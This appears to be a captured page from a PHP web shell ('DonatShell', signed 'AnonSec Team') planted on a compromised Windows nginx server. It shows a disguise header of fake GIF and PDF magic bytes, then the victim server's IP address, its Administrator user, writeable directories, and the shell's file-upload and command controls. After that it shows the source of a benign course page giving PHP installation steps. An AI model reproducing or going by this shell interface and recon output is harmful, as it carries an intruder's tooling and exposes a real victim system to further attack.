GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Setup/PHP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Setup/PHP/index.php
<?
// Setup/PHP/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');
$title = "PHP Installation";
$headTitle = '_CST_ - '.$title;
$pageTitle = '_CST_<br>'.$title;
//$pageMenu= 'JimMartinson/Setup/PHP/PHPMenu.phpinc';
include('common/pageHeader.phpinc');
$dataFolder = formValue('dataFolder','');
$courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx';
if ($courseNumber != 'CSTxxxx') {
	$courseNumberComment = '';
} else {
	$courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking';
}
$courseTitle = formValue('courseTitle','');
$sectionTitle = $title;
include('common/sectionHeader.phpinc');
?>
<!-- 
PHP installation consists of three steps:
<ol>
	<li>
		<a href="PHPInstallation.php?dataFolder=Data_WWW&courseNumber=<?=$courseNumber?>&courseTitle=<?=$courseTitle?>">PHP Installation</a>. This will install the PHP processor.
	</li>
</ol>
<p>
<br>
If you have completed the installation and both configuration steps you can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window.
</p>
 -->
<br>
<?=$title?>:
<?
if ( !isset($Instructor) ) require('common/InstructorInfo.phpinc');
/** /
$fileWeb_Ex = '/'.$Instructor['Name'].'/'.$courseNumber.'/Web_ExRecordings/'.$courseNumber.'_Lab01_'.str_replace(' ','_',$title).'.wrf';
#printVar('$fileWeb_Ex',$fileWeb_Ex);
if (file_exists($_SERVER['DOCUMENT_ROOT'].$fileWeb_Ex)) {
?>
	<br>View the <a href="<?=$fileWeb_Ex?>"><?=$title?></a> Web_Ex recording. You need to install the <a href="../Web_ExWeb_Ex/Web_Ex_WRF_Player_v2.9.1109.msi">Web_Ex player</a> to view the recording.
<?
}
/**/
?>
<ol class="instruction">
	<li>
		Download <a href="php-5.2.13-win32-installer.msi">php-5.2.13-win32-installer.msi</a> and go through the install. Install to the <b><?=$_SESSION['userDefaultDrive']?>:\PHP</b> directory.
	</li>
	<li>
		Download <a href="php.ini">php.ini</a> and save it in the <b><?=$_SESSION['userDefaultDrive']?>:\PHP</b> directory.
	</li>
	<li>
		Edit <b>httpd.conf</b> file.
		Go to the bottom of the file and replace:<br>
<code>
#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL<br>
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL<br>
</code>
with:<br>
<code>
#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL<br>
PHPIniDir "<?=$_SESSION['userDefaultDrive']?>:/PHP/"<br>
LoadModule php5_module "<?=$_SESSION['userDefaultDrive']?>:/PHP/php5apache2_2.dll"<br>
AddType application/x-httpd-php .php<br>
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
</code>
	</li>
	<li>
Use WebServices to Stop and Start Apache.
<br><span class="error">If Apache does not start you have a problem and I will need to help you.</span>
	</li>
	<li>
	Now create a <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\phpinfo.php</b> file.
	<br>We will use that to test the PHP installation.
	<br>Put the following text in it:<br>
	<code>
&lt;?<br>
echo "&lt;h1>phpinfo() call by <?=$_SESSION['userFullName']?>.&lt;/h1>\n";<br>
phpinfo();<br>
?&gt;
	</code>
	</li>
	<li>
	Open up your browser to localhost and click on the <b>phpinfo.php</b> file.
	</li>
</ol>

<?
include('common/sectionFooter.phpinc');
#setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team